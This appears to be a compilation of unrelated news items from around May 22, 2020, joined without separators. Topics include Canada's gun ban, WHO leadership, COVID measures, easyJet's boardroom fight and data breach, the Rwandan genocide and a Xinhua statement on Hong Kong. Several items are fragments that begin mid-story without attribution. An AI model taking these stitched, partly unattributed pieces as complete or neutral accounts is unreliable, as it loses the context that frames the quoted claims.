Metis hunter Joel McCrimmon, who has used the same bolt-action rifle since he began hunting at 19 almost 30 years ago, says theres no room in hunting for assault-style firearms, such as those Prime Minister Trudeau banned May 1. (Submitted)

Trudeau also referred to the 2017 attack at the Centre culturel islamique de Quebec, where six died and 19 were injured, and the attack that took place in 1989 at Ecole Polytechnique de Montreal, where 14 women died and 10 women and four men were injured.

The ban included an exception for Indigenous peoples who have Aboriginal or treaty rights to hunt. The exception is in place for two years, as is the amnesty for other gun owners with the banned models and some of their components.

"I use a bolt-action rifle," said Metis hunter Joel McCrimmon, who hunts around the Sandy Lake and Oak Lake areas.

McCrimmon said he has used the same rifle since he began hunting at 19. Thats almost 30 years.

"I have one other gun. Its a semi-automatic, but its only a four-shot clip. Its not a 15- or 30-shot clip like some of those assault weapons have."

McCrimmon does plan to use it.

"I do know a lot of hunters. Theyre all traditional bolt action, four-shot clip. Nothing remotely resembling these assault-style, as I call them. Never come across one yet," he said.

"I have a friend that has one, but he bought it for target practice only."

He said, in his experience, there are two kinds of rifles. The old-style hunting rifle, which is usually a bolt action, sometimes a pump style, a shotgun. Sometimes a semi-automatic. But they all have the four-bullet capacity in common. The other is the assault-style, such as the AR-15 and similar, which have upwards of 30 rounds.

"In my opinion, theres no room for an assault-style rifle in hunting," McCrimmon said.

"The only people I know who have those guns are target shooters."

Keeseekoowenin First Nations Chief Norman Bone said about the banned firearms, "Were not at war."

But he can understand the ban in the context of what happened in Nova Scotia.

"If thats what the guy was using," he said.

"Every once in a while we see some people around with those kinds of guns."

But Keeseekoowenin hunters use standard hunting rifles for deer, elk and moose.

With a semi-automatic, he said, you wouldnt have to load every time you shoot.

"But the only semi-automatic Id be familiar with is a .22," Bone said.

Typically, a .22 rifle can hold 10 to 15 rounds, depending on the magazine.

"Most of the guys in the community are either using the bolt-action or the lever-action. Our guys have become pretty good shooters when theyre shooting at game on the run," Bone said, adding some hunting areas are limited, so you have to become a pretty good shot to get what you need.

But he agrees with the Indigenous exception.

"Its a right. From Ontario west to the mountains you have the treaty territories. A lot of our people have said, We want to make sure we have access to all of our animals, in terms of harvesting. So thats the position hes (Trudeau) taken," Bone said.

Keeseekoowenin is a Treaty 2 nation.

Birdtail Sioux Dakota Nation Chief Ken Chalmers had similar comments.

"Its not an issue. Most of our guys, their rifles are passed down generationally," Chalmers said.

"I dont think theres any AR-15s on our reserve. I always see the old .30-30, .270 or .30-06 hunting rifles. Theyre basic big-game rifles."

 mletourneau@brandonsun.com

 Michele LeTourneau covers Indigenous matters for The Brandon Sun under the Local Journalism Initiative, a federally funded program that supports the creation of original civic journalism.
Union Health Minister Dr Harsh Vardhan on Friday took charge as Chairman of the World Health Organisations (WHO) Executive Board at a time when countries across the world are grappling with the Covid-19 pandemic.

I am aware I am entering this office at a time of global crisis on account of this Covid-19 pandemic. At a time, when we all understand that there will be many health challenges in the next two decades. All these challenges demand a shared response, the Health Minister said after accepting charge as Chairman of WHOs Executive Board.

Referring to the countrys prolonged battle against the highly infectious coronavirus disease which has already crossed the 1 lakh mark, Dr Harsh Vardhan said, India faced Covid-19 in a proactive and pre-emptive way, with unmatched scale and determination. Today we have a mortality rate of only 3%. In a country of 1.35 billion, there are only 0.1 million cases of Covid-19. The recovery rate is above 40 % and the doubling rate is 13 days.

ALSO READ | Mutations in virus not specific to India, says Harsh Vardhan

The Executive Board comprises 34 technically qualified members elected for three-year terms.

The chairmans post is held by rotation for one year among regional groups. The main functions of the Board are to implement the decisions and policies of the Health Assembly and facilitate its work.

The World Health Organisation is the global health watchdog currently in the forefront of the battle against the Covid-19 pandemic and also in the frantic search for a vaccine for the deadly infection, which has spread to 183 countries across the globe.

Currently, three key WHO posts are held by Indian representatives.

Dr Harsh Vardhan, who is an ENT surgeon by training, will replace Dr H Nakatani, who is the advisor for international affairs to Japans health minister.

Taking charge as chairman of the 34-member Executive Board that usually implements the decisions of the World Health Assembly, Dr Harsh Vardhan will have to work closely with WHO Director General Tedros Adhanom Ghebreyesus.

WHOs initial response to the Covid-19 pandemic has been criticized by many countries led by the United States.
OTTAWAParliament Hill right now is a bit of a ghost-town. Except for perennial construction outdoors, where masked workers attempt to stay apart, inside is eerily quiet.

Close encounters with politicians, staffers or fellow journalists are weird, as the coronavirus turns us all into droplet dodgers.

West Block, where the House of Commons sits, was substantially renovated before it welcomed the MPs retreat from Center Block. That building closed in 2018 for its own decade-long renovation.

The new West Block may be an architects idea of a nice refit.

But for roughly 1,000 parliamentary staff, interpreters, security personnel, politicians and journalists who normally work there when the Commons is in full session, its a nightmare of narrow, dully-decorated halls, bad lighting, cramped stairways, and small foyers that allow little space to mingle, talk privately, or even publicly. Caucus and committee rooms became smaller. The chamber, noisier. And space, tighter.

Even before the COVID-19 lockdown West Block was not user-friendly. Now its worse.

And unless theres a breakthrough in negotiations underway between all political parties, Parliament may resume five-days-a-week, in-person sittings at West Block on May 25.

This is what the new normal already looks like.

Getting into West Block means entering and exiting through narrow doors and pathways, past security guards behind Plexiglas.

Where before it was merely awkward trying to pass someone in the impossibly narrow, yet hulking centre stairwell, now its downright creepily too close for comfort. Only one person goes up or down at a time.

In the hallways you pass someone at less than two meters apart. And elevators? Forget distancing.

The days of crowded scrums are over.

At televised news conferences of public health officials or ministers, Commons staff who support the work of the Parliamentary Press Gallery wipe down mics and make masks available, and there is space to spread out because usually only a handful of reporters attend. Others struggle to get questions in via teleconference as they work from home. (Same at Rideau Cottage, where Prime Minister Justin Trudeau holds his daily briefings.)

There are hand sanitizers everywhere that squirt out a tiny bit of frothy soap. Until this week, few wore masks, including security guards or Trudeaus personal RCMP bodyguards.

On Wednesday, the prime minister arrived for this weeks Wednesday in-person Commons sitting wearing a mask, but doffed it after taking his seat. It was the day Dr. Theresa Tam recommended the public wear a non-medical mask as an additional layer of protection for others.

Deputy Prime Minister Chrystia Freeland and Minister for Women and Gender Equality Maryam Monsef arrived wearing masks. Of the roughly 34 MPs in the chamber when I dropped in, only one wore a mask, Conservative MP Garnett Genuis.

Scheer, seen for the first time publicly wearing a mask Friday, says its time for Parliament to be declared an essential service, and to get back to regular business. He says up to 50 MPs and staff could easily and safely return to the Commons chamber.

For weeks, only about 35 members of Parliament have attended the Wednesday in-person sitting. Tuesdays and Thursdays, up to 300 of 338 MPs meet online in virtual sessions via Zoom under an extraordinary agreement among all parties struck in April that allows the Commons to sit as a special committee.

But business is restricted to examining the COVID-19 pandemic. About a third of Commons committees meet online on the same topic. The rest are on hiatus.

Scheer wants all committees up and running with powers to compel evidence, and for MPs to debate all government business or private members bills, not just the pandemic.

The Bloc Quebecois and NDP are wary of a broader return of MPs in greater numbers, although both want a greater opportunity to challenge the government on its actions, and say so far, its not delivering on promised help.

Its all uncharted territory.

This is the first time since Confederation in 1867 that the House of Commons has substantially altered its sittings and the way it does business in response to domestic or global events.

Even after the great fire of 1916, Parliament shifted down the road to the Victoria Memorial Museum, now the Canadian Museum of Nature, and sittings continued. The country was at war.

Trudeau says Canada is in the midst of a different kind of war and parliaments focus must remain on the pandemic.

The Liberals say they support allowing MPs to scrutinize the governments pandemic response, via a hybrid-style Parliament, where limited numbers of MPs would be present, and others would attend virtually. Each remote speaker would be projected into the chamber on two large screens. Its what the U.K. has done and Commons administration says the technology works.

However, the procedure and house affairs committee has already voiced fears that internet connections in rural and remote areas of the country are not always stable, and cybersecurity remains a worry.

Trudeau says the bigger worry is making sure remote MPs arent forced to travel to Ottawa to do their jobs.

If we reopen with reduced numbers without virtual sittings, there will be many, many MPs from further parts of the country who will be unable or unwilling to come to Ottawa because of their familys safety and therefore, there will be parts of the country that wont be reflected in our democratic institutions, said Trudeau.

Scheer says nobody is insisting all 338 MPs return Monday, but he says up to 50 can safely be in the chamber, including 18 Conservatives, reflective of each partys elected representation.

Commons administrative staff say that even with reduced numbers, the minimum support staff required on site is about 50.

Scheer doesnt oppose a hybrid-style Parliament, but he said Friday nobodys figured out how to conduct electronic or virtual voting and ensure security of those votes.

Obviously we have a great deal of concern around the risk of transmission within West Block to employees from MPs arriving from across the country, Scheer said. But he insisted dramatically fewer MPs mean fewer support staff, adding, Weve already gone without pages, weve gone without cafeteria services, and  fewer MPs in the building has less of an impact on that.

Negotiations among the parties are ongoing.

For now, its a good idea to keep your distance.

Read more about:
As many as 76 more people tested



positive for coronavirus in Indore in the last 24 hours, taking up the number of such cases to 2,850, an official said on Friday.

The COVID-19 toll in the district, the worst-hit from coronavirus in Madhya Pradesh, rose to 109 after two more patients, a 70-year-old woman and a 65-year old woman, died during treatment at a private hospital here, Indore's Chief Medical and Health Officer Praveen Jadia said.

Both the victims were also suffering from diabetes and other diseases, the official said.

With 76 more people testing positive for the disease in the last 24 hours, Indore's tally has now gone up to 2,850, he said.

He said 1,280 patients of COVID-19 in the district have been discharged from hospitals after recovering from the infection.

Meanwhile, Indores Divisional Commissioner Akash Tripathi has directed Health Department officials to investigate all cases of death of COVID-19 patients in the district and prepare an audit report.

The disease outbreak was first reported in the district on March 24, when four people had tested positive for the infection.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Metro Manila (CNN Philippines, May 22)  Office of Civil Defense (OCD) Deputy Administrator Assistant Kristoffer James "Toby" Purisima has been relieved from his post, the Palace said on Friday.

Presidential spokesperson Harry Roque said the decision was due to "lack of trust and confidence." Purisima previously served as the spokesperson of the task force overseeing the rehabilitation of war-torn Marawi.

The Office of Civil Defense was recently tasked to receive and coordinate donations of medicines and medical supplies and equipment to the government. President Rodrigo Duterte in April required the transmission of all donations to the national government to pass through the office for consolidation.

Roque added another official recently resigned, but refused to disclose the identity or office to which the official belongs.
The Supreme Court has restrained the West Bengal Police from arresting five TV journalists, who were booked in as many as five cases after they conducted a sting operation to show state ministers and TMC MLAs allegedly taking bribes.

A bench, headed by Justice R Banumathi, took note of the fact that when the journalists were given interim protection in one FIR by the top court on February 10, another FIR was registered by the police on the same day.

On February 10, the bench had stopped the state police from arresting journalists Bhupendra Pratap Singh, Abhishek Singh, Hemant Chowrasia and Ayush Kumar Singh in connection with an FIR that alleged sting operation was a tool to extort money from the politicians. A part of the sting operation was telecast on TV channels and in print media in Kolkata on January 5.

Soon after the court passed this order, two more FIRs were lodged against the journalists. First, on the same day the bench gave interim protection to the journalists, and another on February 27. These fresh FIRs compelled the journalists to move the Supreme Court yet again.

The fresh petition, apart from complaining about abuse of police powers by the ministers and leaders of the ruling party in the state, also sought transfer of the investigation to the CBI. It also sought protection from arrest for another journalist Umesh Kumar Sharma and authorized representative of the Bangla Bharat News Channel Anil Vijay.

Representing the journalists, senior advocates KV Vishwanathan and Aparajita Singh lamented that the police is going after them with a sense of vengeance and that the new FIRs are being registered to threaten them.

Submitting that the manner in which the West Bengal police have acted after the Supreme Court order on February 10 and lodged two more FIRs, it was a reasonable apprehension that the investigations are tainted and biased against the journalists. Therefore, the senior lawyers argued that the investigations must be handed over to the CBI for a free and fair probe.

The Supreme Court issued notices to the state government, the CBI, state ministers state ministers Tapas Roy, Arup Roy and some other TMC leaders, seeking their replies on the plea to transfer the investigations.

About the fresh FIRs, the bench decided to immune the journalists from arrest in all the cases arising out of the sting operation.

It ordered that the petitioners will be granted interim protection from arrest in all five cases.

The court also asked the journalists to cooperate with the investigation. Like in the previous order, the bench added that they shall surrender their passports before the concerned police station.
The Derry News has helped to reconnect users of a community centre in Derry who have not seen each other for more than two months.

As with all local centres, the Older People North West  Age Concern base at Malvern Terrace in the Waterside had to close its doors in March due to the coronavirus pandemic.

The centre was a daily hive of activity with a wide range of social events organised for its users.

Many people also visited the centre each day for a meal and a catch-up with friends.

However, all that came to a stop as a result of the coronavirus lockdown.

Despite their base being closed to visitors, Age Concern has maintained its 'Meals on Wheels' service which delivers around 70 meals each day to elderly people in Derry.

Many of the people who would have visited the Age Concern centre have been cocooning in their home in the last two months.

For a lot of them, their 'Meals on Wheels' delivery is the only time they see another person each day.

Last week, the Derry News gave Age Concern copies of the newspaper to be distributed with their daily meals.

Christine Carlin, Research and Development Officer at Older People North West, said people were delighted to receive the newspaper as most of them are unable to get their local shop at the moment.

Out of the newspaper delivery, came the idea for some of the centre users to have their photographs taken and featured in the Derry News, giving friends a chance to see each other after so long apart.

Christine said: When Ciaran O'Neill approached us to offer us free Derry News papers we accepted gratefully and the universal feedback was fantastic.

We thought it would be a good idea to take photos of people receiving their papers with their meals.

On coming back to the centre where our meals are cooked on Chapel Road, there was great excitement for the kitchen team to see people that hadnt been able to come in for lunch for over two months.

When we came in from the daily meals on wheels run, and showed the photos to our catering team we realised there was a hunger for people in lockdown to see one another.

This give rise to the idea of 'read all about it': creating a photographic reunion in the pages of the Derry News.

Christine said that once they had contacted their regular centre users, there was a buzz about taking part.

One lady said 'there is no way you are taking a photo of me on Thursday, come back tomorrow when Ive got my make up on'.

Another woman said give me a day to get my glad rags and make up on before you take my photo.

True to her word she appeared glammed up the following day ready to be photographed.

One of the things that Covid 19 lockdown has meant is that one day is pretty much like another.

By accident, we have created excitement, a talking point and a way of seeing one another when we cant physically come into Malvern House on Chapel Road.

These small things matter in giving a point of focus, a topic to talk about and the anticipation of seeing old friends' faces.

Out of small acts of kindness come good things, added Christine.

Meanwhile, Age Concern are appealing for small travel size bottles in which they can put hand sanitiser.

The hand sanitiser has been donated to the charity as part of the Walled City Brewerys Community Spirit Project which has been turning left-over alcohol into sanitiser.

However, Age Concern need more small bottles in which to distribute the sanitiser to its users. Anyone who can help is asked to contact 028 7134 7478.
(Alliance News) - easyJet PLC's founder & largest shareholder Stelios Haji-Ioannou termed the results of the airline's general meeting on Friday as a "voting fraud", after all four of his resolutions to remove the company's senior executives including chair and chief executive officer were rejected by shareholders.

"The results constitute voting fraud as at least 15% of the shares held by the three "strawmen" - Invesco, 91 and Phoenix - are controlled by Airbus SE and were therefore "related parties" in this vote," Haji-Ioannou said in a statement on Friday.

Other than Haji-Ioannou, with a 34% stake, big easyJet shareholders include Invesco Ltd, with a 10% stake and Black Rock Inc, holding 5.0%, according to Morningstar.

Earlier this month, Haji-Ioannou alleged that three investors backing the airline's management are working on behalf of Airbus.

Without offering any specific evidence, he said Invesco, Ninety One UK Ltd and Phoenix Asset Management are trying to keep the company's board members in their jobs, so they can continue paying more money to Airbus. The three investors jointly own a 14% stake in easyJet.

"We will never stop in our quest to out these "strawmen" and prove that these shares should not have been counted under the London Stock Exchange listing rules for related-party transactions for listed companies," the businessman added.

easyJet, which is facing a potential GBP18 billion lawsuit over customer data breach, earlier on Friday had said all resolutions put forward by Haji-Ioannou were defeated at the general meeting.

easyJet shares were trading 2.7% lower in London on Friday at 559.40 pence each.

At the company's general meeting, roughly 58% of shareholders voted against the resolutions to remove Chair John Barton, Chief Executive Officer Johan Lundgren, Chief Financial Officer Andrew Findlay and Independent Non-Executive Director Andreas Bierwirth, with 42% in favour.

Excluding Haji-Ioannou's 34% stake, 79% of independent investors rejected the proposed resolutions to remove the four easyJet executives. easyJet also noted that 99% of independent shareholders outside the Haji-Ioannou family concert party voted in favour of the board.

On the meeting results, easyJet Chair Barton said: "On behalf of the board I would like to thank shareholders for their support. The board seeks good relationships with all of the company's shareholders and hopes to be able to re-engage constructively with Sir Stelios."

Earlier on Friday, Haji-Ioannou's easyGroup had asked easyJet's directors to reveal any direct or indirect stake owned by Airbus SE in easyJet, increasing pressure ahead of the tense general meeting. The businessman had also asked about links between easyJet directors and three Swiss lawyers and whether easyJet is a "going concern".

On Tuesday last week, Haji-Ioannou said he was willing to offer GBP5.0 million to anyone with information that could stop the carrier's GBP4.5 billion aircraft order from manufacturer Airbus. It was the latest bizarre twist in a battle that has seen Haji-Ioannou routinely lambaste easyJet's top team.

Haji-Ioannou also said in the letter Friday that he believes that there is a conflict of interest for Barton to be chairing a meeting that concerns his removal as a director.

Separately, law firm PGMBM said Friday that it has filed a GBP18 billion class action claim in the High Court of London on behalf of easyJet customers impacted by the recent data breach at the company.

EasyJet on Tuesday had said that sensitive personal data of nine million customers had been exposed in a data breach. The GBP18 billion claim amounts to GBP2,000 per affected customer.

According to the law firm, the data breach itself occurred in January but despite notifying the UKas Information Commissioner's Office at that time, easyJet waited four months to notify its customers.

"The sensitive personal data leaked includes full names, email addresses and travel data that included departure dates, arrival dates and booking dates. In particular, the exposure of details of individualsa personal travel patterns may pose security risks to individuals and is a gross invasion of privacy," PGMBM said.

Tom Goodhead, PGMBM's managing partner, said: "This is a monumental data breach and a terrible failure of responsibility that has a serious impact on easyJet's customers."

By Evelina Grecenko; updated by Tapan Panchal

evelinagrecenko@alliancenews.com; tapanpanchal@alliancenews.com

Copyright 2020 Alliance News Limited. All Rights Reserved.
A DEADLINE for stimulus grant applications, a stimulus package for private school teachers and quarantine facilities for prisoners were discussed at the latest meeting of the Cabinet.





Governor Nigel Dakin chaired the 18th meeting of the year on Wednesday (May 20) by videoconference. All ministers were present.





At this meeting Cabinet:





-Noted a Covid-19 update from the Minister of Health Hon. Edwin Astwood.





-Continued their review of the Strategy for the Phased Reopening of Covid-19 Containment Measures presented by the Ministry of Health.





-Noted an information paper on the Ministry of Healths Standard Operating Procedures for Covid-19 and Environmental Health Department Guidelines for the Phased Reopening of the Turks and Caicos Islands.





-Approved the award of a one-off stimulus package to support teachers in private schools.





-Noted the progress made by the Ministry of Education regarding the quality of online schooling in TCI, and the School Base Assessments and Transfers Strategy.





-Endorsed draft guidelines to be implemented to ensure consistency in learning across the education sector.





-Approved a proposed Water Undertaking (Grand Turk, Salt Cay and South Caicos) Bill 2020-2021 for progression to the House of Assembly.





-Approved Covid-19 quarantine facilities for prisoners and the designation of the facilities as a prison, and approved Covid-19 testing of remand prisoners and prison officers, where appropriate.





-Approved the deadline of 4pm Monday, May 25, for applications for the waiver of Hotel, Restaurant and Tourism Tax collected during March.





-Approved a deadline of 4pm Monday, May 25, for new applications and the submission of additional documentation where required for the Covid-19 Employee Stimulus Grant, and approved its inclusion in the regulations and publication in the Gazette.





-Approved TCIGs participation in the Caribbean Catastrophic Risk Insurance Facility, Segregated Portfolio Company for policy year 2020-2021, and approved premiums for the same period for tropical cyclone and excess rainfall coverage.




Chennai, May 22 : Hit by COVID-19 lockdown since March 16 and revenue sources drying up, the Madras Crocodile Bank Trust (MCBT) and Center for Herpetology, that maintains the popular crocodile park near here, is crowd sourcing for funds, said a top official.

The 44-year old Madras Crocodile Bank spread over 8.5 acres of land on the East Coast Road is one of the unique and popular tourist attractions. It was founded by Rom Whitaker.

It houses about 2,000 adult crocodiles of different varieties like gharial, mugger, African Dwarf, American Alligator and other reptiles like anacondas, snakes, iguanas, tortoises, turtles, rare lizards and even a Komodo Dragon.

"The crocodile park was closed from March 16. We think it will remain closed till June end as part of COVID-19 lockdown. Based on last year's trend, about 1.20 lakh visitors would have visited the park if the times were normal," Allwin Jesudasan, Director, told IANS.

According to him, the potential revenue to be lost will be about Rs 80 lakh.

"Our annual budget is about Rs 4.5 crore. Apart from visitor entry fees, other revenue sources are local and foreign donations - donations from overseas zoos," Jesudasan said.

According to him, all the fund sources have been blocked for the past couple of months owing to COVID-19 lockdown. Even the zoos overseas are under lockdown.

"The donations from local donors have come down drastically as their businesses got hit due to lockdown," Jesudasan said.

According to him, not only was the revenue lost, once the park reopens the operational costs would go up as the visitors have to be provided with sanitisers and personal protective equipment (PPE) that might have to be bought as part of COVID-19 safety measures.

Some top officials have taken a salary cut but the saving is not enough.

The MCBT has about 55 staff. Apart from the crocodile park here, the MCBT also has the Agumbe Rainforest Research Station in Karnataka and the Gharial Ecology Project, along the Chambal river for which the field station is in Garhaita, Uttar Pradesh, Jesudasan said.

With the funds from traditional sources drying up, Jesudasan said the MCBT, couple of days back, started crowd sourcing of funds.

"Our target is to raise Rs 80 lakh. We have already raised about Rs 10 lakh," Jesudasan said.

He said a city-based industrialist has promised to donate a sum equivalent to what was raised from crowd sourcing, subject to a maximum of Rs 10 lakh.

Sourcing food for the reptiles was not a problem during the lockdown period as the government had exempted zoos and the animal parks.

The crocodiles are fed with fish, buffalo meat, chicken while other species are also fed according to their needs.

According to Jesudasan, breeding of crocodile juveniles has been reduced.

The juveniles are exchanged with other zoos to get a different species. The park got its Komodo Dragon as a part of an exchange programme.

Thor, which is about 15 ft long, is the longest crocodile in the park.

Bereft of tourist crowd, the crocodile park is betting its hope on crowd funding for its sustenance so that the reptiles don't have to shed real tears for their food.

-- The story has been published from a wire feed without any modifications to the text
Retired Illinois state Sen. John Cullertons Last Dance: Sending nearly $100,000 from a campaign fund he controlled to two state senators under federal investigation: In his final days in office, the one-time Senate president transferred $32,000 to his distant cousin Thomas Cullerton, who has pleaded not guilty to federal charges accusing him of taking a salary and benefits for a no-show Teamsters job and another $60,000 to Martin Sandoval after he stepped down from his Senate post and right before he pleaded guilty to bribery charges, write Chuck Neubauer and Sandy Bergo, who do yet another deep dive in this Better Government Association piece. While elected leaders can use their campaign coffers to pay legal fees tied to their official office, even as reformers have pushed to end the practice, the story reveals and raises questions about these specific political relationships.
New Delhi: Popular south star Rana Daggubati and fiancee Miheeka Bajaj had a private Roka ceremony recently and their first pictures broke the internet. Now, a day after Rana officially shared the news, famous South actress Samantha Akkineni posted an inside picture from the ceremony and it looks simply ethereal.

While eyes are fixed at Rana and Miheeka, dressed in their traditional best and looking like a typical South-Indian ceremony, Samantha along with hubby Naga Chaitanya looks like a breath of fresh air in a yellow desi wear. The gorgeous bride-to-be Miheeka posted some inside pictures too.

Take a look:

Earlier in May, Rana broke the news of him proposing to Miheeka with the world by making it Insa official. Miheeka is an entrepreneur and runs an event management company named Dew Drop Design Studio.

The couple had managed to keep their affair a secret all this while and finally, Rana found love amid lockdown, we can safely say that!

Congratulations to Rana and Miheeka!
Tara Reade poses for a photo during an interview in Nevada City, Calif., on April 4, 2019. (Donald Thompson/AP Photo)

Tara Reades Lawyer Says His Firm No Longer Represents Her

The lawyer representing the woman who accused presumptive Democratic presidential candidate Joe Biden of sexual assault said Friday his firm is no longer representing her.

The decision wasnt motivated by doubt Tara Reade was assaulted by Biden, Douglas Wigdor said in a statement sent to news outlets.

Our decision, made on May 20, is by no means a reflection on whether then-Senator Biden sexually assaulted Ms. Reade, Wigdor wrote. On that point, our viewwhich is the same view held by the majority of Americans, according to a Harvard CAPS-Harris Pollhas not changed.

The poll in question found 55 percent of respondents said they believe Reade.

Wigdor, who donated in 2016 to then-candidate Donald Trump, said he believes Reade has been unfairly portrayed by the media, with most stories intended to victim-shame and attack her credibility on unrelated and irrelevant matters.

Wigdor didnt disclose the motivation for dropping Reade as a client but said the firms lawyers genuinely wish Ms. Reade well and hope that she, as a survivor, is treated fairly.

Reade didnt respond to an inquiry about Wigdors announcement or whether she has retained a new lawyer.

Attorney Douglas Wigdor speaks during a press conference in Paris, France, on Aug. 23, 2011. (Jacques Brinon/AP Photo)

Former Vice President Joe Biden speaks during the First State Democratic Dinner in Dover, Del., on March 16, 2019. (Saul Loeb/AFP via Getty Images)

Reports Thursday indicated Reades testimony during domestic violence cases has come under scrutiny amid questions of her credentials.

Patrick McKenna, executive director of the California-funded Sixth District Appellate Program, told Politico that his office was reviewing at least six cases where Reade testified as a domestic violence expert.

Scott Erdbacher, an attorney for Jennifer Vasquez, a woman convicted of attempted murder, said hes reviewing his clients options in the wake of the new reporting. Reade testified in that case.

Reade said under oath that she graduated with a degree in liberal arts from Antioch University but spokespersons for the school told news outlets she did not. Reade told the Monterey County Weekly that she obtained a degree under special circumstances from Toni Murdock, a former chancellor.

Antioch University, the Sixth District Appellate Program, and another school Reade said she graduated from, the Seattle University School of Law, didnt respond to requests for comment.

Reade posted a picture of a degree from the latter school on Twitter.

Its been said my life is complicated because I spoke up about Joe Biden & I am a domestic violence survivor that had a sealed name change, she wrote. Survivors, you can achieve again, I graduated law school 04. Your life is not messy because something happened[.] Hold your head up.
At least 800,000 mainly Tutsi people were beaten, hacked or shot to death in Rwandas 1994 genocide, a 100-day killing spree carried out mostly by Hutu forces.

Here is a recap:

 President killed 

On April 6, 1994 Rwandas president, Juvenal Habyarimana, is killed when his aircraft is shot down over Kigali.

From the Hutu majority, he is returning from peace talks in Tanzania with Tutsi rebels of the Rwandan Patriotic Front (RPF).

It is not clear who carried out the attack but the killing unleashes a killing spree by Hutu forces and militia.

 Genocide starts 

On April 7 soldiers of the elite presidential guard kill the moderate Hutu prime minister, Agathe Uwilingiyimana, as well as 10 Belgian paratroopers guarding her.

Massacres start. Authorities distribute lists of people to be killed, mostly Tutsis but also opposition Hutus; troops and militia set up roadblocks and go house-to-house looking for targets.

The Mille Collines radio station exhorts Hutus to kill Tutsi cockroaches, to rape and loot.

Men, women and children are killed in the streets, in their homes and even in churches and schools where they seek refuge.

 UN scales down effort 

From April 9 French and Belgian paratroopers arrive to evacuate their nationals.

A UN peacekeeping operation, unable to stop the massacres, is on April 21 reduced from around 2,300 to 270 men.

A week later Doctors Without Borders (MSF) says a genocide is underway.

On June 22 France deploys Operation Turquoise, a UN-mandated force tasked with halting the killing. It has little effect.

On June 30 the UN Human Rights Commission special rapporteur says the slaughter legally qualifies as genocide and appears to have been planned.

 Killing stops 

On July 4 the mainly Tutsi RPF soldiers finally seize the capital Kigali and the killing ends. The United Nations will later estimate that 800,000 people lost their lives.

Hundreds of thousands of Hutus, fearing reprisals, flee to neighbouring Zaire, todays Democratic Republic of Congo.

 Justice 

In November 1994 the UN sets up the International Criminal Tribunal for Rwanda in neighbouring Tanzania to try the main perpetrators.

In 1998 it becomes the first international court to hand down a conviction for genocide, finding a former town mayor guilty of inciting the massacre of more than 2,000 Tutsis.

Local community courts also find thousands of people guilty and convictions are also made internationally. Belgium, the former colonial powers, holds five trials linked to the genocide.
Source: Xinhua| 2020-05-22 17:12:44|Editor: huaxia

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HONG KONG, May 22 (Xinhua) -- The Liaison Office of the Central People's Government in the Hong Kong Special Administrative Region (HKSAR) said Friday that the ongoing national legislative session's agenda on the HKSAR is an imperative move to close the legal loopholes in the SAR concerning national security.

The deliberation by China's national legislature of a draft decision on establishing and improving the legal system and enforcement mechanisms for the HKSAR to safeguard national security is fundamental to ensuring that "one country, two systems" principle goes steady and far, said a spokesperson of the office.

The move fully reflects the strong will and firm determination of the central government to safeguard national security. It also fully demonstrates the resolute defending of and utmost care for the overall interests of Hong Kong and the fundamental wellbeing of Hong Kong compatriots, the spokesperson said.

Since the illegal "Occupy Central" movement in 2014 and the unrest in Hong Kong following the proposed ordinance amendments in 2019, the opposition in Hong Kong and local radical separatists have collaborated with external forces to bring severe challenges to the practice of the "one country, two systems" principle, gravely threatening national security, said the spokesperson.

Hong Kong is facing the gravest situation since its return, said the spokesperson, noting that the "one country, two systems" principle is in danger of being derailed.

For the HKSAR, safeguarding national security is an integral part of the "one country, two systems" principle, the spokesperson said, calling it a must instead of a choice.

It is the original mission of the "one country, two systems" principle to uphold national unity and maintain lasting prosperity and stability in Hong Kong, neither of which can be dispensable, the spokesperson said.

Hong Kong's deficiency of legislation on national security after returning is an important cause of the current grave and complex situation in the city, the spokesperson stressed, noting that some people in Hong Kong have colluded with international anti-China forces and "Taiwan independence" forces, in a bid to turn Hong Kong into an independent or semi-independent political entity.

A small number of political radicals have attempted to hold 7.5 million Hong Kong people hostage against their interests and persisted in pushing Hong Kong to a dead end, which the central government will by no means just stand by and do nothing about, the spokesperson said.

The legislation on national security in Hong Kong targets acts that threaten national security, such as secessionist, subversive and terrorist activities and interference from foreign countries and overseas forces. It only targets a tiny number of suspects for the crime of endangering national security, while the law-based freedom of speech, of the press, of publication and of assembly enjoyed by the general public will not be disturbed, their daily lives will not be affected and the security of their property will continue to be protected, the spokesperson stressed.

The central government's principles and policies for Hong Kong have always served the purpose of ensuring the correct implementation of the "one country, two systems" principle as well as the long-term prosperity and stability of Hong Kong, the spokesperson noted. Enditem
He takes scientific mysteries and makes them part of a lived experience; a story between father and son that people can relate to, Emi-Simone Zawall, a book critic for the newspaper Svenska Dagbladet and a former juror for the August Prize, said in a phone interview. But I think the reason for [the books] success is that he combines them with a level of literary craftsmanship that is quite rare.

No one is more surprised by that success than its author. Its a very strange and nerdy book, Svensson said in an interview this month in Malmo. A culture reporter who reviews books and films, he grew up in a rural area north of the city where his decision to go to university  to say nothing of his interest in the arts  was difficult for his father, who worked as a road paver, to understand.

But father and son connected over eels, and it was from his dads stories that the younger Svensson became fascinated by the animal. The eels biology has captivated and baffled some of the Wests greatest minds, from Aristotle to Freud (who spent a postgraduate research gig in a futile quest to locate the fishs testes, a failure that, as Svensson suggests, may have given the future father of psychoanalysis some ideas about genital absence). The Danish marine biologist Johanne Schmidt, who was obsessed with the eel, spent 20 years establishing its origins in the Sargasso.

It wasnt until his fathers death from cancer, however, that Svensson decided to try his own hand at researching the creature. I wouldnt have written the book if my father hadnt died, he said. Yes, it is a book about science and science history. But its also a way for me to try to write my way back to my origin, to my own Sargasso Sea. In The Book of Eels, the younger Svenssons memories of their nighttime fishing trips  the moonlit stillness giving way to a sudden thrash of slime  are lyrically recalled, and alternate with the natural history chapters.
Toia: I have known the governor since the late 1990s. I worked on his campaign when he ran for Congress in 1998. He came in third. Again, all restaurateurs care about the health and safety of their team members and guests, and we want to hear what scientists and doctors say, but my job is representing the hospitality industry in this state. Their economic model will not allow us to wait until June 26. So I was communicating, communicating, communicating with the governors office. And with Mayor Lightfoot. Guests in beds, diners in seats  Chicago is all about its tourism, and thats what they care about, too. The mayor understands. And the governor understands.
TWO of the five Zimbabweans who were recently arrested for money laundering involving R142 300 and possession of unregistered medicine in South Africa were yesterday warned and cautioned by a Makhado Magistrate court in Limpopo Province.
Principal Aaron Starke distributes Chromebooks to families and students at the Universal Alcorn Charter Middle School on April 2. The charter network launched virtual instruction mid-April. Read more

Many Philadelphia charter and private schools are reporting higher overall student participation than the citys traditional public schools since the start of remote learning, possibly because they are smaller and can more nimbly make the transition, the nonprofit Philadelphia School Partnership says.

